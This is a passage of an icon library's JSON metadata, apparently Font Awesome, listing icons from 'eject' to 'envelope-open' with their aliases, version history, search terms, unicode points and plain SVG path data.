        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M192 496C86 496 0 394 0 288C0 176 64 16 192 16s192 160 192 272c0 106-86 208-192 208zM154.8 134c6.5-6 7-16.1 1-22.6s-16.1-7-22.6-1c-23.9 21.8-41.1 52.7-52.3 84.2C69.7 226.1 64 259.7 64 288c0 8.8 7.2 16 16 16s16-7.2 16-16c0-24.5 5-54.4 15.1-82.8c10.1-28.5 25-54.1 43.7-71.2z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M192 496C86 496 0 394 0 288C0 176 64 16 192 16s192 160 192 272c0 106-86 208-192 208zM154.8 134c6.5-6 7-16.1 1-22.6s-16.1-7-22.6-1c-23.9 21.8-41.1 52.7-52.3 84.2C69.7 226.1 64 259.7 64 288c0 8.8 7.2 16 16 16s16-7.2 16-16c0-24.5 5-54.4 15.1-82.8c10.1-28.5 25-54.1 43.7-71.2z"
      }
    },
    "free": ["solid"]
  },
  "eject": {
    "aliases": {
      "unicodes": {
        "composite": ["23cf"],
        "secondary": ["10f052"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["abort", "cancel", "cd", "discharge", "eject", "eject button"]
    },
    "styles": ["solid"],
    "unicode": "f052",
    "label": "Eject",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766676,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 32c13.5 0 26.3 5.6 35.4 15.6l176 192c12.9 14 16.2 34.3 8.6 51.8S419 320 400 320H48c-19 0-36.3-11.2-43.9-28.7s-4.3-37.7 8.6-51.8l176-192C197.7 37.6 210.5 32 224 32zM0 432c0-26.5 21.5-48 48-48H400c26.5 0 48 21.5 48 48s-21.5 48-48 48H48c-26.5 0-48-21.5-48-48z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 32c13.5 0 26.3 5.6 35.4 15.6l176 192c12.9 14 16.2 34.3 8.6 51.8S419 320 400 320H48c-19 0-36.3-11.2-43.9-28.7s-4.3-37.7 8.6-51.8l176-192C197.7 37.6 210.5 32 224 32zM0 432c0-26.5 21.5-48 48-48H400c26.5 0 48 21.5 48 48s-21.5 48-48 48H48c-26.5 0-48-21.5-48-48z"
      }
    },
    "free": ["solid"]
  },
  "elementor": {
    "changes": ["5.0.3", "6.1.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f430",
    "label": "Elementor",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M.361 256C.361 397 114 511 255 511C397 511 511 397 511 256C511 116 397 2.05 255 2.05C114 2.05 .361 116 .361 256zM192 150V363H149V150H192zM234 150H362V193H234V150zM362 235V278H234V235H362zM234 320H362V363H234V320z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M.361 256C.361 397 114 511 255 511C397 511 511 397 511 256C511 116 397 2.05 255 2.05C114 2.05 .361 116 .361 256zM192 150V363H149V150H192zM234 150H362V193H234V150zM362 235V278H234V235H362zM234 320H362V363H234V320z"
      }
    },
    "free": ["brands"]
  },
  "elevator": {
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["accessibility", "elevator", "hoist", "lift", "users-people"]
    },
    "styles": ["solid"],
    "unicode": "e16d",
    "label": "Elevator",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M132.7 4.7l-64 64c-4.6 4.6-5.9 11.5-3.5 17.4s8.3 9.9 14.8 9.9H208c6.5 0 12.3-3.9 14.8-9.9s1.1-12.9-3.5-17.4l-64-64c-6.2-6.2-16.4-6.2-22.6 0zM64 128c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V192c0-35.3-28.7-64-64-64H64zm96 96a48 48 0 1 1 0 96 48 48 0 1 1 0-96zM80 400c0-26.5 21.5-48 48-48h64c26.5 0 48 21.5 48 48v16c0 17.7-14.3 32-32 32H112c-17.7 0-32-14.3-32-32V400zm192 0c0-26.5 21.5-48 48-48h64c26.5 0 48 21.5 48 48v16c0 17.7-14.3 32-32 32H304c-17.7 0-32-14.3-32-32V400zm32-128a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM356.7 91.3c6.2 6.2 16.4 6.2 22.6 0l64-64c4.6-4.6 5.9-11.5 3.5-17.4S438.5 0 432 0H304c-6.5 0-12.3 3.9-14.8 9.9s-1.1 12.9 3.5 17.4l64 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M132.7 4.7l-64 64c-4.6 4.6-5.9 11.5-3.5 17.4s8.3 9.9 14.8 9.9H208c6.5 0 12.3-3.9 14.8-9.9s1.1-12.9-3.5-17.4l-64-64c-6.2-6.2-16.4-6.2-22.6 0zM64 128c-35.3 0-64 28.7-64 64V448c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V192c0-35.3-28.7-64-64-64H64zm96 96a48 48 0 1 1 0 96 48 48 0 1 1 0-96zM80 400c0-26.5 21.5-48 48-48h64c26.5 0 48 21.5 48 48v16c0 17.7-14.3 32-32 32H112c-17.7 0-32-14.3-32-32V400zm192 0c0-26.5 21.5-48 48-48h64c26.5 0 48 21.5 48 48v16c0 17.7-14.3 32-32 32H304c-17.7 0-32-14.3-32-32V400zm32-128a48 48 0 1 1 96 0 48 48 0 1 1 -96 0zM356.7 91.3c6.2 6.2 16.4 6.2 22.6 0l64-64c4.6-4.6 5.9-11.5 3.5-17.4S438.5 0 432 0H304c-6.5 0-12.3 3.9-14.8 9.9s-1.1 12.9 3.5 17.4l64 64z"
      }
    },
    "free": ["solid"]
  },
  "ellipsis": {
    "aliases": {
      "names": ["ellipsis-h"],
      "unicodes": {
        "secondary": ["10f141"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "dots",
        "drag",
        "kebab",
        "list",
        "menu",
        "nav",
        "navigation",
        "ol",
        "pacman",
        "reorder",
        "settings",
        "ul"
      ]
    },
    "styles": ["solid"],
    "unicode": "f141",
    "label": "Ellipsis",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M8 256a56 56 0 1 1 112 0A56 56 0 1 1 8 256zm160 0a56 56 0 1 1 112 0 56 56 0 1 1 -112 0zm216-56a56 56 0 1 1 0 112 56 56 0 1 1 0-112z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M8 256a56 56 0 1 1 112 0A56 56 0 1 1 8 256zm160 0a56 56 0 1 1 112 0 56 56 0 1 1 -112 0zm216-56a56 56 0 1 1 0 112 56 56 0 1 1 0-112z"
      }
    },
    "free": ["solid"]
  },
  "ellipsis-vertical": {
    "aliases": {
      "names": ["ellipsis-v"],
      "unicodes": {
        "secondary": ["10f142"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "dots",
        "drag",
        "kebab",
        "list",
        "menu",
        "nav",
        "navigation",
        "ol",
        "reorder",
        "settings",
        "ul"
      ]
    },
    "styles": ["solid"],
    "unicode": "f142",
    "label": "Ellipsis Vertical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 128 512\"><path d=\"M64 360a56 56 0 1 0 0 112 56 56 0 1 0 0-112zm0-160a56 56 0 1 0 0 112 56 56 0 1 0 0-112zM120 96A56 56 0 1 0 8 96a56 56 0 1 0 112 0z\"/></svg>",
        "viewBox": [0, 0, 128, 512],
        "width": 128,
        "height": 512,
        "path": "M64 360a56 56 0 1 0 0 112 56 56 0 1 0 0-112zm0-160a56 56 0 1 0 0 112 56 56 0 1 0 0-112zM120 96A56 56 0 1 0 8 96a56 56 0 1 0 112 0z"
      }
    },
    "free": ["solid"]
  },
  "ello": {
    "changes": ["5.2.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f5f1",
    "label": "Ello",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014470,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm143.84 285.2C375.31 358.51 315.79 404.8 248 404.8s-127.31-46.29-143.84-111.6c-1.65-7.44 2.48-15.71 9.92-17.36 7.44-1.65 15.71 2.48 17.36 9.92 14.05 52.91 62 90.11 116.56 90.11s102.51-37.2 116.56-90.11c1.65-7.44 9.92-12.4 17.36-9.92 7.44 1.65 12.4 9.92 9.92 17.36z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm143.84 285.2C375.31 358.51 315.79 404.8 248 404.8s-127.31-46.29-143.84-111.6c-1.65-7.44 2.48-15.71 9.92-17.36 7.44-1.65 15.71 2.48 17.36 9.92 14.05 52.91 62 90.11 116.56 90.11s102.51-37.2 116.56-90.11c1.65-7.44 9.92-12.4 17.36-9.92 7.44 1.65 12.4 9.92 9.92 17.36z"
      }
    },
    "free": ["brands"]
  },
  "ember": {
    "changes": ["5.0.0", "5.0.3"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f423",
    "label": "Ember",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M639.9 254.6c-1.1-10.7-10.7-6.8-10.7-6.8s-15.6 12.1-29.3 10.7c-13.7-1.3-9.4-32-9.4-32s3-28.1-5.1-30.4c-8.1-2.4-18 7.3-18 7.3s-12.4 13.7-18.3 31.2l-1.6.5s1.9-30.6-.3-37.6c-1.6-3.5-16.4-3.2-18.8 3s-14.2 49.2-15 67.2c0 0-23.1 19.6-43.3 22.8s-25-9.4-25-9.4 54.8-15.3 52.9-59.1-44.2-27.6-49-24c-4.6 3.5-29.4 18.4-36.6 59.7-.2 1.4-.7 7.5-.7 7.5s-21.2 14.2-33 18c0 0 33-55.6-7.3-80.9-11.4-6.8-21.3-.5-27.2 5.3 13.6-17.3 46.4-64.2 36.9-105.2-5.8-24.4-18-27.1-29.2-23.1-17 6.7-23.5 16.7-23.5 16.7s-22 32-27.1 79.5-12.6 105.1-12.6 105.1-10.5 10.2-20.2 10.7-5.4-28.7-5.4-28.7 7.5-44.6 7-52.1-1.1-11.6-9.9-14.2c-8.9-2.7-18.5 8.6-18.5 8.6s-25.5 38.7-27.7 44.6l-1.3 2.4-1.3-1.6s18-52.7.8-53.5-28.5 18.8-28.5 18.8-19.6 32.8-20.4 36.5l-1.3-1.6s8.1-38.2 6.4-47.6c-1.6-9.4-10.5-7.5-10.5-7.5s-11.3-1.3-14.2 5.9-13.7 55.3-15 70.7c0 0-28.2 20.2-46.8 20.4-18.5.3-16.7-11.8-16.7-11.8s68-23.3 49.4-69.2c-8.3-11.8-18-15.5-31.7-15.3-13.7.3-30.3 8.6-41.3 33.3-5.3 11.8-6.8 23-7.8 31.5 0 0-12.3 2.4-18.8-2.9s-10 0-10 0-11.2 14-.1 18.3 28.1 6.1 28.1 6.1c1.6 7.5 6.2 19.5 19.6 29.7 20.2 15.3 58.8-1.3 58.8-1.3l15.9-8.8s.5 14.6 12.1 16.7 16.4 1 36.5-47.9c11.8-25 12.6-23.6 12.6-23.6l1.3-.3s-9.1 46.8-5.6 59.7C187.7 319.4 203 318 203 318s8.3 2.4 15-21.2 19.6-49.9 19.6-49.9h1.6s-5.6 48.1 3 63.7 30.9 5.3 30.9 5.3 15.6-7.8 18-10.2c0 0 18.5 15.8 44.6 12.9 58.3-11.5 79.1-25.9 79.1-25.9s10 24.4 41.1 26.7c35.5 2.7 54.8-18.6 54.8-18.6s-.3 13.5 12.1 18.6 20.7-22.8 20.7-22.8l20.7-57.2h1.9s1.1 37.3 21.5 43.2 47-13.7 47-13.7 6.4-3.5 5.3-14.3zm-578 5.3c.8-32 21.8-45.9 29-39 7.3 7 4.6 22-9.1 31.4-13.7 9.5-19.9 7.6-19.9 7.6zm272.8-123.8s19.1-49.7 23.6-25.5-40 96.2-40 96.2c.5-16.2 16.4-70.7 16.4-70.7zm22.8 138.4c-12.6 33-43.3 19.6-43.3 19.6s-3.5-11.8 6.4-44.9 33.3-20.2 33.3-20.2 16.2 12.4 3.6 45.5zm84.6-14.6s-3-10.5 8.1-30.6c11-20.2 19.6-9.1 19.6-9.1s9.4 10.2-1.3 25.5-26.4 14.2-26.4 14.2z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M639.9 254.6c-1.1-10.7-10.7-6.8-10.7-6.8s-15.6 12.1-29.3 10.7c-13.7-1.3-9.4-32-9.4-32s3-28.1-5.1-30.4c-8.1-2.4-18 7.3-18 7.3s-12.4 13.7-18.3 31.2l-1.6.5s1.9-30.6-.3-37.6c-1.6-3.5-16.4-3.2-18.8 3s-14.2 49.2-15 67.2c0 0-23.1 19.6-43.3 22.8s-25-9.4-25-9.4 54.8-15.3 52.9-59.1-44.2-27.6-49-24c-4.6 3.5-29.4 18.4-36.6 59.7-.2 1.4-.7 7.5-.7 7.5s-21.2 14.2-33 18c0 0 33-55.6-7.3-80.9-11.4-6.8-21.3-.5-27.2 5.3 13.6-17.3 46.4-64.2 36.9-105.2-5.8-24.4-18-27.1-29.2-23.1-17 6.7-23.5 16.7-23.5 16.7s-22 32-27.1 79.5-12.6 105.1-12.6 105.1-10.5 10.2-20.2 10.7-5.4-28.7-5.4-28.7 7.5-44.6 7-52.1-1.1-11.6-9.9-14.2c-8.9-2.7-18.5 8.6-18.5 8.6s-25.5 38.7-27.7 44.6l-1.3 2.4-1.3-1.6s18-52.7.8-53.5-28.5 18.8-28.5 18.8-19.6 32.8-20.4 36.5l-1.3-1.6s8.1-38.2 6.4-47.6c-1.6-9.4-10.5-7.5-10.5-7.5s-11.3-1.3-14.2 5.9-13.7 55.3-15 70.7c0 0-28.2 20.2-46.8 20.4-18.5.3-16.7-11.8-16.7-11.8s68-23.3 49.4-69.2c-8.3-11.8-18-15.5-31.7-15.3-13.7.3-30.3 8.6-41.3 33.3-5.3 11.8-6.8 23-7.8 31.5 0 0-12.3 2.4-18.8-2.9s-10 0-10 0-11.2 14-.1 18.3 28.1 6.1 28.1 6.1c1.6 7.5 6.2 19.5 19.6 29.7 20.2 15.3 58.8-1.3 58.8-1.3l15.9-8.8s.5 14.6 12.1 16.7 16.4 1 36.5-47.9c11.8-25 12.6-23.6 12.6-23.6l1.3-.3s-9.1 46.8-5.6 59.7C187.7 319.4 203 318 203 318s8.3 2.4 15-21.2 19.6-49.9 19.6-49.9h1.6s-5.6 48.1 3 63.7 30.9 5.3 30.9 5.3 15.6-7.8 18-10.2c0 0 18.5 15.8 44.6 12.9 58.3-11.5 79.1-25.9 79.1-25.9s10 24.4 41.1 26.7c35.5 2.7 54.8-18.6 54.8-18.6s-.3 13.5 12.1 18.6 20.7-22.8 20.7-22.8l20.7-57.2h1.9s1.1 37.3 21.5 43.2 47-13.7 47-13.7 6.4-3.5 5.3-14.3zm-578 5.3c.8-32 21.8-45.9 29-39 7.3 7 4.6 22-9.1 31.4-13.7 9.5-19.9 7.6-19.9 7.6zm272.8-123.8s19.1-49.7 23.6-25.5-40 96.2-40 96.2c.5-16.2 16.4-70.7 16.4-70.7zm22.8 138.4c-12.6 33-43.3 19.6-43.3 19.6s-3.5-11.8 6.4-44.9 33.3-20.2 33.3-20.2 16.2 12.4 3.6 45.5zm84.6-14.6s-3-10.5 8.1-30.6c11-20.2 19.6-9.1 19.6-9.1s9.4 10.2-1.3 25.5-26.4 14.2-26.4 14.2z"
      }
    },
    "free": ["brands"]
  },
  "empire": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1d1",
    "label": "Galactic Empire",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M287.6 54.2c-10.8-2.2-22.1-3.3-33.5-3.6V32.4c78.1 2.2 146.1 44 184.6 106.6l-15.8 9.1c-6.1-9.7-12.7-18.8-20.2-27.1l-18 15.5c-26-29.6-61.4-50.7-101.9-58.4l4.8-23.9zM53.4 322.4l23-7.7c-6.4-18.3-10-38.2-10-58.7s3.3-40.4 9.7-58.7l-22.7-7.7c3.6-10.8 8.3-21.3 13.6-31l-15.8-9.1C34 181 24.1 217.5 24.1 256s10 75 27.1 106.6l15.8-9.1c-5.3-10-9.7-20.3-13.6-31.1zM213.1 434c-40.4-8-75.8-29.1-101.9-58.7l-18 15.8c-7.5-8.6-14.4-17.7-20.2-27.4l-16 9.4c38.5 62.3 106.8 104.3 184.9 106.6v-18.3c-11.3-.3-22.7-1.7-33.5-3.6l4.7-23.8zM93.3 120.9l18 15.5c26-29.6 61.4-50.7 101.9-58.4l-4.7-23.8c10.8-2.2 22.1-3.3 33.5-3.6V32.4C163.9 34.6 95.9 76.4 57.4 139l15.8 9.1c6-9.7 12.6-18.9 20.1-27.2zm309.4 270.2l-18-15.8c-26 29.6-61.4 50.7-101.9 58.7l4.7 23.8c-10.8 1.9-22.1 3.3-33.5 3.6v18.3c78.1-2.2 146.4-44.3 184.9-106.6l-16.1-9.4c-5.7 9.7-12.6 18.8-20.1 27.4zM496 256c0 137-111 248-248 248S0 393 0 256 111 8 248 8s248 111 248 248zm-12.2 0c0-130.1-105.7-235.8-235.8-235.8S12.2 125.9 12.2 256 117.9 491.8 248 491.8 483.8 386.1 483.8 256zm-39-106.6l-15.8 9.1c5.3 9.7 10 20.2 13.6 31l-22.7 7.7c6.4 18.3 9.7 38.2 9.7 58.7s-3.6 40.4-10 58.7l23 7.7c-3.9 10.8-8.3 21-13.6 31l15.8 9.1C462 331 471.9 294.5 471.9 256s-9.9-75-27.1-106.6zm-183 177.7c16.3-3.3 30.4-11.6 40.7-23.5l51.2 44.8c11.9-13.6 21.3-29.3 27.1-46.8l-64.2-22.1c2.5-7.5 3.9-15.2 3.9-23.5s-1.4-16.1-3.9-23.5l64.5-22.1c-6.1-17.4-15.5-33.2-27.4-46.8l-51.2 44.8c-10.2-11.9-24.4-20.5-40.7-23.8l13.3-66.4c-8.6-1.9-17.7-2.8-27.1-2.8-9.4 0-18.5.8-27.1 2.8l13.3 66.4c-16.3 3.3-30.4 11.9-40.7 23.8l-51.2-44.8c-11.9 13.6-21.3 29.3-27.4 46.8l64.5 22.1c-2.5 7.5-3.9 15.2-3.9 23.5s1.4 16.1 3.9 23.5l-64.2 22.1c5.8 17.4 15.2 33.2 27.1 46.8l51.2-44.8c10.2 11.9 24.4 20.2 40.7 23.5l-13.3 66.7c8.6 1.7 17.7 2.8 27.1 2.8 9.4 0 18.5-1.1 27.1-2.8l-13.3-66.7z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M287.6 54.2c-10.8-2.2-22.1-3.3-33.5-3.6V32.4c78.1 2.2 146.1 44 184.6 106.6l-15.8 9.1c-6.1-9.7-12.7-18.8-20.2-27.1l-18 15.5c-26-29.6-61.4-50.7-101.9-58.4l4.8-23.9zM53.4 322.4l23-7.7c-6.4-18.3-10-38.2-10-58.7s3.3-40.4 9.7-58.7l-22.7-7.7c3.6-10.8 8.3-21.3 13.6-31l-15.8-9.1C34 181 24.1 217.5 24.1 256s10 75 27.1 106.6l15.8-9.1c-5.3-10-9.7-20.3-13.6-31.1zM213.1 434c-40.4-8-75.8-29.1-101.9-58.7l-18 15.8c-7.5-8.6-14.4-17.7-20.2-27.4l-16 9.4c38.5 62.3 106.8 104.3 184.9 106.6v-18.3c-11.3-.3-22.7-1.7-33.5-3.6l4.7-23.8zM93.3 120.9l18 15.5c26-29.6 61.4-50.7 101.9-58.4l-4.7-23.8c10.8-2.2 22.1-3.3 33.5-3.6V32.4C163.9 34.6 95.9 76.4 57.4 139l15.8 9.1c6-9.7 12.6-18.9 20.1-27.2zm309.4 270.2l-18-15.8c-26 29.6-61.4 50.7-101.9 58.7l4.7 23.8c-10.8 1.9-22.1 3.3-33.5 3.6v18.3c78.1-2.2 146.4-44.3 184.9-106.6l-16.1-9.4c-5.7 9.7-12.6 18.8-20.1 27.4zM496 256c0 137-111 248-248 248S0 393 0 256 111 8 248 8s248 111 248 248zm-12.2 0c0-130.1-105.7-235.8-235.8-235.8S12.2 125.9 12.2 256 117.9 491.8 248 491.8 483.8 386.1 483.8 256zm-39-106.6l-15.8 9.1c5.3 9.7 10 20.2 13.6 31l-22.7 7.7c6.4 18.3 9.7 38.2 9.7 58.7s-3.6 40.4-10 58.7l23 7.7c-3.9 10.8-8.3 21-13.6 31l15.8 9.1C462 331 471.9 294.5 471.9 256s-9.9-75-27.1-106.6zm-183 177.7c16.3-3.3 30.4-11.6 40.7-23.5l51.2 44.8c11.9-13.6 21.3-29.3 27.1-46.8l-64.2-22.1c2.5-7.5 3.9-15.2 3.9-23.5s-1.4-16.1-3.9-23.5l64.5-22.1c-6.1-17.4-15.5-33.2-27.4-46.8l-51.2 44.8c-10.2-11.9-24.4-20.5-40.7-23.8l13.3-66.4c-8.6-1.9-17.7-2.8-27.1-2.8-9.4 0-18.5.8-27.1 2.8l13.3 66.4c-16.3 3.3-30.4 11.9-40.7 23.8l-51.2-44.8c-11.9 13.6-21.3 29.3-27.4 46.8l64.5 22.1c-2.5 7.5-3.9 15.2-3.9 23.5s1.4 16.1 3.9 23.5l-64.2 22.1c5.8 17.4 15.2 33.2 27.1 46.8l51.2-44.8c10.2 11.9 24.4 20.2 40.7 23.5l-13.3 66.7c8.6 1.7 17.7 2.8 27.1 2.8 9.4 0 18.5-1.1 27.1-2.8l-13.3-66.7z"
      }
    },
    "free": ["brands"]
  },
  "envelope": {
    "aliases": {
      "unicodes": {
        "composite": ["1f582", "2709", "f003"],
        "secondary": ["10f0e0"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.1.0",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Back of Envelope",
        "e-mail",
        "email",
        "envelope",
        "letter",
        "mail",
        "message",
        "notification",
        "support"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f0e0",
    "label": "Envelope",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M48 64C21.5 64 0 85.5 0 112c0 15.1 7.1 29.3 19.2 38.4L236.8 313.6c11.4 8.5 27 8.5 38.4 0L492.8 150.4c12.1-9.1 19.2-23.3 19.2-38.4c0-26.5-21.5-48-48-48H48zM0 176V384c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V176L294.4 339.2c-22.8 17.1-54 17.1-76.8 0L0 176z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M48 64C21.5 64 0 85.5 0 112c0 15.1 7.1 29.3 19.2 38.4L236.8 313.6c11.4 8.5 27 8.5 38.4 0L492.8 150.4c12.1-9.1 19.2-23.3 19.2-38.4c0-26.5-21.5-48-48-48H48zM0 176V384c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V176L294.4 339.2c-22.8 17.1-54 17.1-76.8 0L0 176z"
      },
      "regular": {
        "last_modified": 1684767390,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 112c-8.8 0-16 7.2-16 16v22.1L220.5 291.7c20.7 17 50.4 17 71.1 0L464 150.1V128c0-8.8-7.2-16-16-16H64zM48 212.2V384c0 8.8 7.2 16 16 16H448c8.8 0 16-7.2 16-16V212.2L322 328.8c-38.4 31.5-93.7 31.5-132 0L48 212.2zM0 128C0 92.7 28.7 64 64 64H448c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 112c-8.8 0-16 7.2-16 16v22.1L220.5 291.7c20.7 17 50.4 17 71.1 0L464 150.1V128c0-8.8-7.2-16-16-16H64zM48 212.2V384c0 8.8 7.2 16 16 16H448c8.8 0 16-7.2 16-16V212.2L322 328.8c-38.4 31.5-93.7 31.5-132 0L48 212.2zM0 128C0 92.7 28.7 64 64 64H448c35.3 0 64 28.7 64 64V384c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V128z"
      }
    },
    "free": ["regular", "solid"]
  },
  "envelope-circle-check": {
    "changes": ["6.1.0", "6.2.0", "6.2.1", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "check",
        "email",
        "envelope",
        "mail",
        "not affected",
        "ok",
        "okay",
        "read",
        "sent"
      ]
    },
    "styles": ["solid"],
    "unicode": "e4e8",
    "label": "Envelope Circle Check",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M48 64C21.5 64 0 85.5 0 112c0 15.1 7.1 29.3 19.2 38.4L236.8 313.6c11.4 8.5 27 8.5 38.4 0l57.4-43c23.9-59.8 79.7-103.3 146.3-109.8l13.9-10.4c12.1-9.1 19.2-23.3 19.2-38.4c0-26.5-21.5-48-48-48H48zM294.4 339.2c-22.8 17.1-54 17.1-76.8 0L0 176V384c0 35.3 28.7 64 64 64H360.2C335.1 417.6 320 378.5 320 336c0-5.6 .3-11.1 .8-16.6l-26.4 19.8zM640 336a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L480 353.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M48 64C21.5 64 0 85.5 0 112c0 15.1 7.1 29.3 19.2 38.4L236.8 313.6c11.4 8.5 27 8.5 38.4 0l57.4-43c23.9-59.8 79.7-103.3 146.3-109.8l13.9-10.4c12.1-9.1 19.2-23.3 19.2-38.4c0-26.5-21.5-48-48-48H48zM294.4 339.2c-22.8 17.1-54 17.1-76.8 0L0 176V384c0 35.3 28.7 64 64 64H360.2C335.1 417.6 320 378.5 320 336c0-5.6 .3-11.1 .8-16.6l-26.4 19.8zM640 336a144 144 0 1 0 -288 0 144 144 0 1 0 288 0zm-76.7-43.3c6.2 6.2 6.2 16.4 0 22.6l-72 72c-6.2 6.2-16.4 6.2-22.6 0l-40-40c-6.2-6.2-6.2-16.4 0-22.6s16.4-6.2 22.6 0L480 353.4l60.7-60.7c6.2-6.2 16.4-6.2 22.6 0z"
      }
    },
    "free": ["solid"]
  },
  "envelope-open": {
    "aliases": {
      "unicodes": {
        "composite": ["f2b7"],
        "secondary": ["10f2b6"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "5.10.1",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "e-mail",
        "email",
        "letter",
        "mail",
        "message",
        "notification",
        "support"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f2b6",
    "label": "Envelope Open",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 208.1L256 65.9 448 208.1v47.4L289.5 373c-9.7 7.2-21.4 11-33.5 11s-23.8-3.9-33.5-11L64 255.5V208.1zM256 0c-12.1 0-23.8 3.9-33.5 11L25.9 156.7C9.6 168.8 0 187.8 0 208.1V448c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V208.1c0-20.3-9.6-39.4-25.9-51.4L289.5 11C279.8 3.9 268.1 0 256 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
